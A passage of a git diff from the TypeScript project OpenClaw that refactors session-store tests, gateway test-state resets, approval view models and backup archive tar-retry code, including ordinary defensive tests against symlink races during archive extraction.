+51,44 @@ describe("Telegram direct session recreation after delete", () => { const suiteRootTracker = createSuiteTempRootTracker({ prefix: "openclaw-telegram-session-recreate-", }); - let tempDir = ""; - let storePath = ""; beforeAll(async () => { await suiteRootTracker.setup(); }); - afterEach(() => { - clearSessionStoreCacheForTest(); - }); - afterAll(async () => { await suiteRootTracker.cleanup(); }); it("surfaces a deleted Telegram direct session again after the next inbound message", async () => { - tempDir = await suiteRootTracker.make("direct"); - storePath = path.join(tempDir, "sessions.json"); - await fs.writeFile( - storePath, - JSON.stringify( - { - [TELEGRAM_DIRECT_KEY]: { - sessionId: "old-session", - updatedAt: 1_700_000_000_000, - chatType: "direct", - channel: "telegram", - }, - }, - null, - 2, - ), - "utf-8", + const tempDir = await suiteRootTracker.make("direct"); + const storePath = path.join(tempDir, "sessions.json"); + await replaceSessionEntry( + { storePath, sessionKey: TELEGRAM_DIRECT_KEY }, + { + sessionId: "old-session", + updatedAt: 1_700_000_000_000, + chatType: "direct", + channel: "telegram", + }, ); - - await updateSessionStore(storePath, (store) => { - delete store[TELEGRAM_DIRECT_KEY]; + await deleteSessionEntryLifecycle({ + archiveTranscript: false, + storePath, + target: { + canonicalKey: TELEGRAM_DIRECT_KEY, + storeKeys: [TELEGRAM_DIRECT_KEY], + }, }); - expect(loadSessionStore(storePath, { skipCache: true })[TELEGRAM_DIRECT_KEY]).toBeUndefined(); + expect(loadSessionEntry({ storePath, sessionKey: TELEGRAM_DIRECT_KEY })).toBeUndefined(); const ctx = createTelegramDirectContext(); - await recordSessionMetaFromInbound({ + await recordInboundSessionMeta({ storePath, sessionKey: TELEGRAM_DIRECT_KEY, ctx, }); - await updateLastRoute({ + await updateSessionLastRoute({ storePath, sessionKey: TELEGRAM_DIRECT_KEY, channel: "telegram", @@ -106,18 +97,23 @@ describe("Telegram direct session recreation after delete", () => { ctx, }); - const store = loadSessionStore(storePath, { skipCache: true }); + const entry = loadSessionEntry({ storePath, sessionKey: TELEGRAM_DIRECT_KEY }); + const runtimeCfg = { + ...cfg, + session: { ...cfg.session, store: storePath }, + } satisfies OpenClawConfig; + const loaded = loadCombinedSessionStoreForGateway(runtimeCfg, { agentId: "main" }); const listed = listSessionsFromStore({ - cfg, - storePath, - store, + cfg: runtimeCfg, + storePath: loaded.storePath, + store: loaded.store, opts: {}, }); - expect(store[TELEGRAM_DIRECT_KEY]?.lastChannel).toBe("telegram"); - expect(store[TELEGRAM_DIRECT_KEY]?.lastTo).toBe("telegram:7463849194"); - expect(store[TELEGRAM_DIRECT_KEY]?.origin?.chatType).toBe("direct"); - expect(store[TELEGRAM_DIRECT_KEY]?.origin?.provider).toBe("telegram"); + expect(entry?.lastChannel).toBe("telegram"); + expect(entry?.lastTo).toBe("telegram:7463849194"); + expect(entry?.origin?.chatType).toBe("direct"); + expect(entry?.origin?.provider).toBe("telegram"); expect(listed.sessions.map((session) => session.key)).toContain(TELEGRAM_DIRECT_KEY); }); }); diff --git a/src/gateway/test-helpers.server.ts b/src/gateway/test-helpers.server.ts index 2f6894f08bd4..45abf0d8bea8 100644 --- a/src/gateway/test-helpers.server.ts +++ b/src/gateway/test-helpers.server.ts @@ -20,7 +20,7 @@ import { listSessionEntries, } from "../config/sessions/session-accessor.js"; import { formatSqliteSessionFileMarker } from "../config/sessions/sqlite-marker.js"; -import { resetAgentRunContextForTest } from "../infra/agent-events.js"; +import { resetAgentEventsForTest } from "../infra/agent-events.js"; import { loadOrCreateDeviceIdentity, publicKeyRawBase64UrlFromPem, @@ -31,8 +31,12 @@ import { getPairedDevice, requestDevicePairing, } from "../infra/device-pairing.js"; -import { resetGatewaySuspendCoordinatorForTest } from "../infra/gateway-suspend-coordinator.js"; -import { __testing as restartTesting } from "../infra/restart.js"; +import { resetGatewaySuspendCoordinatorForLifecycleRestart } from "../infra/gateway-suspend-coordinator.js"; +import { + resetGatewayRestartStateForInProcessRestart, + setGatewaySigusr1RestartPolicy, + setPreRestartDeferralCheck, +} from "../infra/restart.js"; import { drainSystemEvents, peekSystemEvents } from "../infra/system-events.js"; import { rawDataToString } from "../infra/ws.js"; import { resetLogger, setLoggerOverride } from "../logging.js"; @@ -292,13 +296,13 @@ function applyGatewaySkipEnv() { } function resetGatewayLifecycleTestState(options: { preserveRuntimeBindings: boolean }): void { - // Resume a held scheduler before hard admission reset invalidates and forgets its - // lease. Then cancel restart timers and retire their module-local signal lease. - resetGatewaySuspendCoordinatorForTest(); - if (options.preserveRuntimeBindings) { - restartTesting.resetSigusr1TransientState(); - } else { - restartTesting.resetSigusr1State(); + // Resume held scheduling and cancel pending restart work before clearing + // admission. Live suite servers keep their policy and active-work binding. + resetGatewaySuspendCoordinatorForLifecycleRestart(); + resetGatewayRestartStateForInProcessRestart(); + if (!options.preserveRuntimeBindings) { + setGatewaySigusr1RestartPolicy({ allowExternal: false }); + setPreRestartDeferralCheck(() => 0); } resetGatewayWorkAdmission(); } @@ -413,7 +417,7 @@ async function resetGatewayTestState(options: { uniqueConfigRoot: boolean }) { for (const sessionKey of resolveGatewayTestMainSessionKeys()) { drainSystemEvents(sessionKey); } - resetAgentRunContextForTest(); + resetAgentEventsForTest(); const mod = await getServerModule(); await mod.resetModelCatalogCacheForTest(); agentDiscoveryMock.enabled = false; @@ -508,7 +512,7 @@ async function resetGatewayTestRuntimeOnly() { for (const sessionKey of resolveGatewayTestMainSessionKeys()) { drainSystemEvents(sessionKey); } - resetAgentRunContextForTest(); + resetAgentEventsForTest({ preserveListeners: true }); } export function installGatewayTestHooks(options?: { scope?: "test" | "suite" }) { diff --git a/src/hooks/gmail.windows.test.ts b/src/hooks/gmail.windows.test.ts index b87aa826a88e..e36af5bd783e 100644 --- a/src/hooks/gmail.windows.test.ts +++ b/src/hooks/gmail.windows.test.ts @@ -1,10 +1,7 @@ // Gmail Windows tests cover gog watcher command invocation on Windows. import path from "node:path"; import { beforeEach, describe, expect, it, vi } from "vitest"; -import { - getWindowsInstallRoots, - resetWindowsInstallRootsForTests, -} from "../infra/windows-install-roots.js"; +import { getWindowsInstallRoots } from "../infra/windows-install-roots.js"; import { withMockedWindowsPlatform } from "../test-utils/vitest-spies.js"; const mocks = vi.hoisted(() => ({ @@ -27,9 +24,7 @@ function expectedTrustedCmdExe(): string { } describe("resolveGogServeInvocation on Windows", () => { - beforeEach(() => { - resetWindowsInstallRootsForTests({ queryRegistryValue: () => null }); - }); + beforeEach(() => {}); it("wraps spaced gog .cmd paths in an outer cmd.exe command line", async () => { const { resolveGogServeInvocation } = await importGmailWithExecutable( diff --git a/src/infra/active-node-context.ts b/src/infra/active-node-context.ts index 2d3f83af4db6..6a740d96ed5a 100644 --- a/src/infra/active-node-context.ts +++ b/src/infra/active-node-context.ts @@ -1,5 +1,5 @@ /** Stable active-node identity projected into the dynamic model runtime line. */ -export type ActiveNodeContext = { +type ActiveNodeContext = { nodeId: string; }; @@ -21,7 +21,3 @@ export function formatActiveNodeContextLabel( ): string | undefined { return context?.nodeId; } - -export function resetActiveNodeContextForTests(): void { - activeNodeContext = null; -} diff --git a/src/infra/agent-events.test.ts b/src/infra/agent-events.test.ts index 1a3624632e12..9163a8e8f2f8 100644 --- a/src/infra/agent-events.test.ts +++ b/src/infra/agent-events.test.ts @@ -16,7 +16,6 @@ import { registerAgentRunContext, releaseAgentRunContext, resetAgentEventsForTest, - resetAgentRunContextForTest, rotateAgentEventLifecycleGeneration, sweepStaleRunContexts, withAgentRunLifecycleGeneration, @@ -541,7 +540,6 @@ describe("agent-events sequencing", () => { }); test("omits sessionKey for non-lifecycle runs hidden from Control UI", () => { - resetAgentRunContextForTest(); registerAgentRunContext("run-hidden", { sessionKey: "session-quietchat", isControlUiVisible: false, @@ -563,7 +561,6 @@ describe("agent-events sequencing", () => { }); test("preserves sessionKey for lifecycle events hidden from Control UI", () => { - resetAgentRunContextForTest(); registerAgentRunContext("run-hidden-lifecycle", { sessionKey: "session-quietchat", isControlUiVisible: false, @@ -585,7 +582,6 @@ describe("agent-events sequencing", () => { }); test("falls back to registered sessionKey for hidden lifecycle events", () => { - resetAgentRunContextForTest(); registerAgentRunContext("run-hidden-lifecycle-context", { sessionKey: "session-quietchat-context", isControlUiVisible: false, @@ -626,7 +622,6 @@ describe("agent-events sequencing", () => { }); test("merges later run context updates into existing runs", () => { - resetAgentRunContextForTest(); registerAgentRunContext("run-ctx", { sessionKey: "session-main", isControlUiVisible: true, @@ -646,7 +641,6 @@ describe("agent-events sequencing", () => { }); test("falls back to registered sessionKey when event sessionKey is blank", () => { - resetAgentRunContextForTest(); registerAgentRunContext("run-ctx", { sessionKey: "session-main" }); let receivedSessionKey: string | undefined; diff --git a/src/infra/agent-events.ts b/src/infra/agent-events.ts index 0de244c8ca4e..392a4c783960 100644 --- a/src/infra/agent-events.ts +++ b/src/infra/agent-events.ts @@ -22,17 +22,11 @@ export type AgentEventStream = | (string & {}); /** Lifecycle phase for a visible item in the agent activity feed. */ -export type AgentItemEventPhase = "start" | "update" | "end"; +type AgentItemEventPhase = "start" | "update" | "end"; /** Status rendered for an item-level agent activity event. */ -export type AgentItemEventStatus = "running" | "completed" | "failed" | "blocked"; +type AgentItemEventStatus = "running" | "completed" | "failed" | "blocked"; /** Item category used by channels and Control UI to choose progress presentation. */ -export type AgentItemEventKind = - | "tool" - | "command" - | "patch" - | "search" - | "analysis" - | (string & {}); +type AgentItemEventKind = "tool" | "command" | "patch" | "search" | "analysis" | (string & {}); /** Payload for a single item shown in the agent activity stream. */ export type AgentItemEventData = { @@ -58,11 +52,11 @@ export type AgentItemEventData = { }; /** Approval event phase for request/resolution transitions. */ -export type AgentApprovalEventPhase = "requested" | "resolved"; +type AgentApprovalEventPhase = "requested" | "resolved"; /** Approval status after routing, user action, or delivery failure. */ -export type AgentApprovalEventStatus = "pending" | "unavailable" | "approved" | "denied" | "failed"; +type AgentApprovalEventStatus = "pending" | "unavailable" | "approved" | "denied" | "failed"; /** Approval family used by renderers and host hooks. */ -export type AgentApprovalEventKind = "exec" | "plugin" | "unknown"; +type AgentApprovalEventKind = "exec" | "plugin" | "unknown"; /** Payload for approval requests and their later resolution events. */ export type AgentApprovalEventData = { @@ -135,7 +129,7 @@ export type AgentEventRuntimePayload = AgentEventPayload & { }; /** Per-run metadata used to stamp events and gate Control UI visibility. */ -export type AgentRunContext = { +type AgentRunContext = { sessionKey?: string; /** Resolved agent owner, including for unscoped session keys. */ agentId?: string; @@ -529,14 +523,6 @@ export function sweepStaleRunContexts(maxAgeMs = 30 * 60 * 1000): number { return swept; } -/** Clears run context state without removing event listeners; test-only helper. */ -export function resetAgentRunContextForTest() { - const state = getAgentEventState(); - state.runContextById.clear(); - state.seqByRun.clear(); - getAgentRunContextOwners(state).clear(); -} - function enrichAgentEvent( event: Omit, claimId?: string, @@ -737,12 +723,14 @@ export function onAgentAuditEvent(listener: (evt: AgentEventPayload) => void) { return registerListener(getAgentEventState().auditListeners, listener); } -/** Clears all agent event state, including listeners; test-only helper. */ -export function resetAgentEventsForTest() { +/** Clears agent event state; test suites with a live Gateway can preserve its listeners. */ +export function resetAgentEventsForTest(options?: { preserveListeners?: boolean }) { const state = getAgentEventState(); state.seqByRun.clear(); - state.listeners.clear(); - state.auditListeners.clear(); + if (!options?.preserveListeners) { + state.listeners.clear(); + state.auditListeners.clear(); + } state.runContextById.clear(); getAgentRunContextOwners(state).clear(); } diff --git a/src/infra/approval-native-route-coordinator.test.ts b/src/infra/approval-native-route-coordinator.test.ts index 74b611ea6e8b..e422668b5c5f 100644 --- a/src/infra/approval-native-route-coordinator.test.ts +++ b/src/infra/approval-native-route-coordinator.test.ts @@ -1,12 +1,20 @@ // Covers native approval route reporting behavior. import { afterEach, describe, expect, it, vi } from "vitest"; -import { - clearApprovalNativeRouteStateForTest, - createApprovalNativeRouteReporter, -} from "./approval-native-route-coordinator.js"; +import { createApprovalNativeRouteReporter as createApprovalNativeRouteReporterRaw } from "./approval-native-route-coordinator.js"; -afterEach(() => { - clearApprovalNativeRouteStateForTest(); +const approvalRouteReporters: Array> = []; + +function createApprovalNativeRouteReporter( + params: Parameters[0], +) { + const reporter = createApprovalNativeRouteReporterRaw(params); + approvalRouteReporters.push(reporter); + return reporter; +} + +afterEach(async () => { + await Promise.all(approvalRouteReporters.splice(0).map((reporter) => reporter.stop())); + vi.useRealTimers(); }); function createGatewayRequestMock() { diff --git a/src/infra/approval-native-route-coordinator.ts b/src/infra/approval-native-route-coordinator.ts index a6ba38c4fd5f..6282eb94bd14 100644 --- a/src/infra/approval-native-route-coordinator.ts +++ b/src/infra/approval-native-route-coordinator.ts @@ -441,12 +441,3 @@ export function createApprovalNativeRouteReporter(params: { }, }; } - -/** Clears in-memory native approval route coordination state between tests. */ -export function clearApprovalNativeRouteStateForTest(): void { - for (const approvalId of Array.from(pendingApprovalRouteNotices.keys())) { - clearPendingApprovalRouteNotice(approvalId); - } - activeApprovalRouteRuntimes.clear(); - approvalRouteRuntimeSeq = 0; -} diff --git a/src/infra/approval-native-runtime.test.ts b/src/infra/approval-native-runtime.test.ts index eafdc5459441..442bac22439e 100644 --- a/src/infra/approval-native-runtime.test.ts +++ b/src/infra/approval-native-runtime.test.ts @@ -1,9 +1,8 @@ // Covers native approval runtime delivery and resolution. import { afterEach, describe, expect, it, vi } from "vitest"; import type { ChannelApprovalNativeAdapter } from "../channels/plugins/types.adapters.js"; -import { clearApprovalNativeRouteStateForTest } from "./approval-native-route-coordinator.js"; import { - createChannelNativeApprovalRuntime, + createChannelNativeApprovalRuntime as createChannelNativeApprovalRuntimeRaw, deliverApprovalRequestViaChannelNativePlan, } from "./approval-native-runtime.js"; @@ -45,11 +44,21 @@ const execRequest = { expiresAtMs: 120_000, }; -afterEach(() => { +const approvalRuntimes: Array> = []; + +function createChannelNativeApprovalRuntime( + params: Parameters[0], +) { + const runtime = createChannelNativeApprovalRuntimeRaw(params); + approvalRuntimes.push(runtime); + return runtime; +} + +afterEach(async () => { + await Promise.all(approvalRuntimes.splice(0).map((runtime) => runtime.stop())); hoisted.callGatewayLeastPrivilege.mockClear(); hoisted.createOperatorApprovalsGatewayClient.mockClear(); hoisted.startGatewayClientWhenEventLoopReady.mockClear(); - clearApprovalNativeRouteStateForTest(); vi.useRealTimers(); }); diff --git a/src/infra/approval-resolution-ref.test.ts b/src/infra/approval-resolution-ref.test.ts index c43d42c588cc..f36669fbe6f8 100644 --- a/src/infra/approval-resolution-ref.test.ts +++ b/src/infra/approval-resolution-ref.test.ts @@ -1,26 +1,14 @@ // Approval transport reference tests cover deterministic, kind-bound locators. import { describe, expect, it } from "vitest"; -import { - APPROVAL_RESOLUTION_REF_LENGTH, - buildApprovalResolutionRef, - isApprovalResolutionRef, -} from "./approval-resolution-ref.js"; +import { buildApprovalResolutionRef, isApprovalResolutionRef } from "./approval-resolution-ref.js"; describe("approval resolution references", () => { - it("builds a deterministic full-digest base64url transport locator", () => { - const ref = buildApprovalResolutionRef({ - approvalId: "approval/with Unicode 😀", - approvalKind: "exec", - }); + it("builds a deterministic full-digest transport locator", () => { + const params = { approvalId: "approval/with Unicode 😀", approvalKind: "exec" as const }; + const ref = buildApprovalResolutionRef(params); - expect(ref).toHaveLength(APPROVAL_RESOLUTION_REF_LENGTH); expect(isApprovalResolutionRef(ref)).toBe(true); - expect( - buildApprovalResolutionRef({ - approvalId: "approval/with Unicode 😀", - approvalKind: "exec", - }), - ).toBe(ref); + expect(buildApprovalResolutionRef(params)).toBe(ref); }); it("binds the locator to the exact id and owner kind", () => { diff --git a/src/infra/approval-resolution-ref.ts b/src/infra/approval-resolution-ref.ts index b2fc88f2fb98..cdee11b7842a 100644 --- a/src/infra/approval-resolution-ref.ts +++ b/src/infra/approval-resolution-ref.ts @@ -1,7 +1,7 @@ // Approval resolution references compact exact IDs for transport-private callbacks. import { createHash } from "node:crypto"; -export const APPROVAL_RESOLUTION_REF_LENGTH = 43; +const APPROVAL_RESOLUTION_REF_LENGTH = 43; /** Build the full SHA-256 base64url locator used only when a transport cannot carry the exact id. */ export function buildApprovalResolutionRef(params: { diff --git a/src/infra/approval-view-model.test.ts b/src/infra/approval-view-model.test.ts index 8a75ece360c2..4b81d36a9132 100644 --- a/src/infra/approval-view-model.test.ts +++ b/src/infra/approval-view-model.test.ts @@ -1,25 +1,10 @@ // Tests approval view model formatting for prompts and decisions. import { describe, expect, it } from "vitest"; -import { - buildPendingApprovalView, - isTypedApprovalActionView, - resolveApprovalRequestKind, -} from "./approval-view-model.js"; +import { buildPendingApprovalView, resolveApprovalRequestKind } from "./approval-view-model.js"; import type { ExecApprovalRequest } from "./exec-approvals.js"; import type { PluginApprovalRequest } from "./plugin-approvals.js"; describe("buildPendingApprovalView", () => { - it("keeps legacy action views valid while the host guard rejects untyped actions", () => { - expect( - isTypedApprovalActionView({ - decision: "deny", - label: "Deny", - style: "danger", - command: "/approve legacy deny", - }), - ).toBe(false); - }); - it("passes command analysis through exec approval views", () => { const request: ExecApprovalRequest = { id: "approval-id", @@ -45,7 +30,6 @@ describe("buildPendingApprovalView", () => { throw new Error("expected exec approval view"); } expect(view.commandAnalysis?.warningLines).toEqual(["Contains inline-eval: python -c"]); - expect(view.actions.every(isTypedApprovalActionView)).toBe(true); expect(view.actions[0]?.action).toEqual({ type: "approval", approvalId: "approval-id", diff --git a/src/infra/approval-view-model.ts b/src/infra/approval-view-model.ts index 77f2a3cf97e2..1c27c36b99d0 100644 --- a/src/infra/approval-view-model.ts +++ b/src/infra/approval-view-model.ts @@ -1,7 +1,6 @@ // Builds approval prompt view models from request and resolution events. import { resolveApprovalRequestKind } from "./approval-types.js"; import type { - ApprovalActionView, ApprovalMetadataView, ApprovalRequest, ApprovalResolved, @@ -10,7 +9,6 @@ import type { PendingApprovalView, PluginApprovalViewBase, ResolvedApprovalView, - TypedApprovalActionView, } from "./approval-view-model.types.js"; import { resolveExecApprovalCommandDisplay } from "./exec-approval-command-display.js"; import { buildTypedApprovalActionDescriptors } from "./exec-approval-reply.js"; @@ -25,13 +23,6 @@ type ApprovalPhase = "pending" | "resolved" | "expired"; export { resolveApprovalRequestKind } from "./approval-types.js"; -/** Narrow a public compatibility action to the host-built typed approval shape. */ -export function isTypedApprovalActionView( - action: ApprovalActionView, -): action is TypedApprovalActionView { - return action.action?.type === "approval" && action.action.decision === action.decision; -} - function buildExecMetadata(request: ExecApprovalRequest): ApprovalMetadataView[] { const metadata: ApprovalMetadataView[] = []; if (request.request.agentId) { diff --git a/src/infra/approval-view-model.types.ts b/src/infra/approval-view-model.types.ts index 7ed521a7caad..d6206879f669 100644 --- a/src/infra/approval-view-model.types.ts +++ b/src/infra/approval-view-model.types.ts @@ -22,11 +22,6 @@ export type ApprovalActionView = { command: string; }; -/** Internal refinement for host-built actions with canonical approval ownership. */ -export type TypedApprovalActionView = ApprovalActionView & { - action: Extract; -}; - /** Label/value metadata row rendered with an approval prompt. */ export type ApprovalMetadataView = { label: string; diff --git a/src/infra/archive.test.ts b/src/infra/archive.test.ts index 1e16f28d2b0f..bc0be4ba5eec 100644 --- a/src/infra/archive.test.ts +++ b/src/infra/archive.test.ts @@ -7,7 +7,6 @@ import { afterAll, beforeAll, describe, expect, it, vi } from "vitest"; import { createSuiteTempRootTracker } from "../test-helpers/temp-dir.js"; import { withRealpathSymlinkRebindRace } from "../test-utils/symlink-rebind-race.js"; import { createZipCentralDirectoryArchive } from "../test-utils/zip-central-directory-fixture.js"; -import type { ArchiveSecurityError } from "./archive.js"; import { extractArchive, resolvePackedRootDir } from "./archive.js"; const fixtureRootTracker = createSuiteTempRootTracker({ prefix: "openclaw-archive-" }); @@ -57,7 +56,7 @@ async function expectRejectedCode(promise: Promise, expected: string | try { await promise; } catch (error) { - const code = (error as Partial).code; + const code = (error as { code?: unknown }).code; if (typeof expected === "string") { expect(code).toBe(expected); return; @@ -194,7 +193,7 @@ describe("archive utils", () => { }); }); - it("does not clobber out-of-destination file when parent dir is symlink-rebound during zip extract", async () => { + it("does not clobber an out-of-destination file during a zip symlink-rebind race", async () => { await withArchiveCase("zip", async ({ workDir, archivePath, extractDir }) => { const outsideDir = path.join(workDir, "outside"); await fs.mkdir(outsideDir, { recursive: true }); @@ -225,7 +224,7 @@ describe("archive utils", () => { }); } catch (error) { rejected = true; - const code = (error as Partial).code; + const code = (error as { code?: unknown }).code; expect(String(code)).toMatch(/destination-symlink-traversal|not-file/); } diff --git a/src/infra/archive.ts b/src/infra/archive.ts index 3c5412c457ae..b9f6ad15e8b0 100644 --- a/src/infra/archive.ts +++ b/src/infra/archive.ts @@ -5,7 +5,6 @@ import "./fs-safe-defaults.js"; export { ARCHIVE_LIMIT_ERROR_CODE, ArchiveLimitError, - ArchiveSecurityError, DEFAULT_MAX_ARCHIVE_BYTES_ZIP, DEFAULT_MAX_ENTRIES, DEFAULT_MAX_EXTRACTED_BYTES, diff --git a/src/infra/backup-create-stream.ts b/src/infra/backup-create-stream.ts new file mode 100644 index 000000000000..5f28cfeba7a9 --- /dev/null +++ b/src/infra/backup-create-stream.ts @@ -0,0 +1,15 @@ +import { createWriteStream } from "node:fs"; +import { pipeline } from "node:stream/promises"; + +export async function writeArchiveStreamToFile(params: { + archivePath: string; + archiveStream: AsyncIterable | NodeJS.ReadableStream; +}): Promise { + // Own both stream lifecycles so a tar read error closes the output handle + // before retry cleanup touches the partial archive. Exclusive creation also + // refuses a pre-existing path instead of following a symlink. + await pipeline( + params.archiveStream, + createWriteStream(params.archivePath, { flags: "wx", mode: 0o600 }), + ); +} diff --git a/src/infra/backup-create.test.ts b/src/infra/backup-create.test.ts index 91ce98117471..d983a9034cef 100644 --- a/src/infra/backup-create.test.ts +++ b/src/infra/backup-create.test.ts @@ -17,13 +17,13 @@ import { import { resolveOpenClawStateSqlitePath } from "../state/openclaw-state-db.paths.js"; import { withOpenClawTestState } from "../test-utils/openclaw-test-state.js"; import { - testApi as backupCreateInternals, - buildExtensionsNodeModulesFilter, createBackupArchive, formatBackupCreateSummary, type BackupCreateResult, } from "./backup-create.js"; +import { writeTarArchiveWithRetry } from "./backup-tar-retry.js"; import { isVolatileBackupPath } from "./backup-volatile-filter.js"; +import { createBackupVolatileStatCache } from "./backup-volatile-stat-cache.js"; import { requireNodeSqlite } from "./node-sqlite.js"; function makeResult(overrides: Partial = {}): BackupCreateResult { @@ -196,40 +196,54 @@ describe("formatBackupCreateSummary", () => { }); }); -describe("isTarEofRaceError", () => { - const { isTarEofRaceError } = backupCreateInternals; - - it.each([ - "did not encounter expected EOF", - "encountered unexpected EOF", - "TAR_BAD_ARCHIVE: Unrecognized archive format", - "Truncated input (needed 512 more bytes, only 0 available) (TAR_BAD_ARCHIVE)", - ])("matches tar-specific EOF-class error: %s", (message) => { - expect(isTarEofRaceError(new Error(message))).toBe(true); - }); - - it("matches errors by code even when the message is empty", () => { - expect(isTarEofRaceError(Object.assign(new Error(""), { code: "EOF" }))).toBe(true); - }); - - it.each([ - "EOF occurred in violation of protocol", - "unexpected eof while reading", - "ran out of EOF markers", - "permission denied", - "", - ])("does not match unrelated errors: %s", (message) => { - expect(isTarEofRaceError(new Error(message))).toBe(false); - }); - - it("rejects non-object inputs", () => { - expect(isTarEofRaceError(null)).toBe(false); - expect(isTarEofRaceError(undefined)).toBe(false); - expect(isTarEofRaceError("did not encounter expected EOF")).toBe(false); - }); -}); - describe("writeTarArchiveWithRetry", () => { + it.each([ + new Error("did not encounter expected EOF"), + new Error("encountered unexpected EOF"), + new Error("TAR_BAD_ARCHIVE: Unrecognized archive format"), + new Error("Truncated input (needed 512 more bytes, only 0 available) (TAR_BAD_ARCHIVE)"), + Object.assign(new Error(""), { code: "EOF" }), + ])("retries tar-specific EOF-class errors: $message", async (error) => { + const runTar = vi + .fn<() => Promise>() + .mockRejectedValueOnce(error) + .mockResolvedValueOnce(); + const sleep = vi.fn<(ms: number) => Promise>().mockResolvedValue(undefined); + + await writeTarArchiveWithRetry({ + tempArchivePath: "/tmp/backup.tar.gz.tmp", + runTar, + sleepMs: sleep, + }); + + expect(runTar).toHaveBeenCalledTimes(2); + expect(sleep).toHaveBeenCalledOnce(); + }); + + it.each([ + new Error("EOF occurred in violation of protocol"), + new Error("unexpected eof while reading"), + new Error("ran out of EOF markers"), + new Error("permission denied"), + new Error(""), + null, + undefined, + "did not encounter expected EOF", + ])("does not retry unrelated errors: %s", async (error) => { + const runTar = vi.fn<() => Promise>().mockRejectedValueOnce(error); + const sleep = vi.fn<(ms: number) => Promise>().mockResolvedValue(undefined); + + await expect( + writeTarArchiveWithRetry({ + tempArchivePath: "/tmp/backup.tar.gz.tmp", + runTar, + sleepMs: sleep, + }), + ).rejects.toThrow(/Backup archive write failed/); + expect(runTar).toHaveBeenCalledOnce(); + expect(sleep).not.toHaveBeenCalled(); + }); + it("retries on EOF-class errors and eventually succeeds", async () => { const eofErr = Object.assign(new Error("did not encounter expected EOF"), { path: "/state/sessions/s-abc/transcript.jsonl", @@ -242,7 +256,7 @@ describe("writeTarArchiveWithRetry", () => { const log = vi.fn(); const sleep = vi.fn<(ms: number) => Promise>().mockResolvedValue(undefined); - await backupCreateInternals.writeTarArchiveWithRetry({ + await writeTarArchiveWithRetry({ tempArchivePath: "/tmp/backup.tar.gz.tmp", runTar, log, @@ -271,7 +285,7 @@ describe("writeTarArchiveWithRetry", () => { }); try { - const completedTempArchivePath = await backupCreateInternals.writeTarArchiveWithRetry({ + const completedTempArchivePath = await writeTarArchiveWithRetry({ tempArchivePath, runTar, log, @@ -304,7 +318,7 @@ describe("writeTarArchiveWithRetry", () => { try { await expect( - backupCreateInternals.writeTarArchiveWithRetry({ + writeTarArchiveWithRetry({ tempArchivePath, runTar, sleepMs: sleep, @@ -327,7 +341,7 @@ describe("writeTarArchiveWithRetry", () => { const sleep = vi.fn<(ms: number) => Promise>().mockResolvedValue(undefined); await expect( - backupCreateInternals.writeTarArchiveWithRetry({ + writeTarArchiveWithRetry({ tempArchivePath: "/tmp/backup.tar.gz.tmp", runTar, sleepMs: sleep, @@ -361,7 +375,7 @@ describe("writeTarArchiveWithRetry", () => { }); const sleep = vi.fn<(ms: number) => Promise>().mockResolvedValue(undefined); - await backupCreateInternals.writeTarArchiveWithRetry({ + await writeTarArchiveWithRetry({ tempArchivePath: "/tmp/backup.tar.gz.tmp", runTar, sleepMs: sleep, @@ -378,7 +392,7 @@ describe("writeTarArchiveWithRetry", () => { const sleep = vi.fn<(ms: number) => Promise>().mockResolvedValue(undefined); await expect( - backupCreateInternals.writeTarArchiveWithRetry({ + writeTarArchiveWithRetry({ tempArchivePath: "/tmp/backup.tar.gz.tmp", runTar, sleepMs: sleep, @@ -402,7 +416,7 @@ describe("createBackupVolatileStatCache", () => { await state.writeText("settings.json", '{"keep":true}\n'); const archivePath = state.path("volatile-stat-cache.tar.gz"); const volatilePlan = { stateDirs: [state.stateDir] }; - const statCache = backupCreateInternals.createBackupVolatileStatCache(volatilePlan); + const statCache = createBackupVolatileStatCache(volatilePlan); const getCachedStat = statCache.get.bind(statCache); let removedBeforeStat = false; @@ -435,28 +449,6 @@ describe("createBackupVolatileStatCache", () => { }); }); -describe("buildExtensionsNodeModulesFilter", () => { - it("excludes dependency trees only under state extensions", () => { - const filter = buildExtensionsNodeModulesFilter("/state/"); - - expect(filter("/state/extensions/demo/openclaw.plugin.json")).toBe(true); - expect(filter("/state/extensions/demo/src/index.js")).toBe(true); - expect(filter("/state/extensions/demo/node_modules/dep/index.js")).toBe(false); - expect(filter("/state/extensions/demo/vendor/node_modules/dep/index.js")).toBe(false); - expect(filter("/state/node_modules/dep/index.js")).toBe(true); - expect(filter("/state/extensions-node_modules/demo/index.js")).toBe(true); - }); - - it("normalizes Windows path separators", () => { - const filter = buildExtensionsNodeModulesFilter("C:\\Users\\me\\.openclaw\\"); - - expect(filter(String.raw`C:\Users\me\.openclaw\extensions\demo\index.js`)).toBe(true); - expect( - filter(String.raw`C:\Users\me\.openclaw\extensions\demo\node_modules\dep\index.js`), - ).toBe(false); - }); -}); - describe("createBackupArchive", () => { it("falls back when injected nowMs is outside Date range", async () => { await withOpenClawTestState( diff --git a/src/infra/backup-create.ts b/src/infra/backup-create.ts index 322b3841b5cb..2201d96d055a 100644 --- a/src/infra/backup-create.ts +++ b/src/infra/backup-create.ts @@ -1,11 +1,10 @@ // Creates backup archives while filtering volatile runtime state. import { randomUUID } from "node:crypto"; -import { constants as fsConstants, createWriteStream, type Stats } from "node:fs"; +import { constants as fsConstants } from "node:fs"; import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; import type { DatabaseSync } from "node:sqlite"; -import { pipeline } from "node:stream/promises"; import { resolveDateTimestampMs } from "@openclaw/normalization-core/number-coercion"; import { buildBackupArchiveBasename, @@ -18,9 +17,15 @@ import { isPathWithin } from "../commands/cleanup-utils.js"; import { createLazyRuntimeModule } from "../shared/lazy-runtime.js"; import { resolveOpenClawStateSqlitePath } from "../state/openclaw-state-db.paths.js"; import { resolveHomeDir, resolveUserPath } from "../utils.js"; -import { sleep } from "../utils/sleep.js"; import { resolveRuntimeServiceVersion } from "../version.js"; +import { writeArchiveStreamToFile } from "./backup-create-stream.js"; +import { + removeBackupTempArchiveBestEffort, + resolveBackupTarAttemptTempPaths, + writeTarArchiveWithRetry, +} from "./backup-tar-retry.js"; import { isVolatileBackupPath } from "./backup-volatile-filter.js"; +import { createBackupVolatileStatCache } from "./backup-volatile-stat-cache.js"; import { formatErrorMessage } from "./errors.js"; import { writeJson } from "./json-files.js"; import { createVerifiedSqliteSnapshot } from "./sqlite-snapshot.js"; @@ -39,40 +44,6 @@ class BackupLinkCache extends Map { } } -type VolatileFilterPlan = Parameters[1]; - -const VOLATILE_BACKUP_SYNTHETIC_STAT = { - isBlockDevice: () => false, 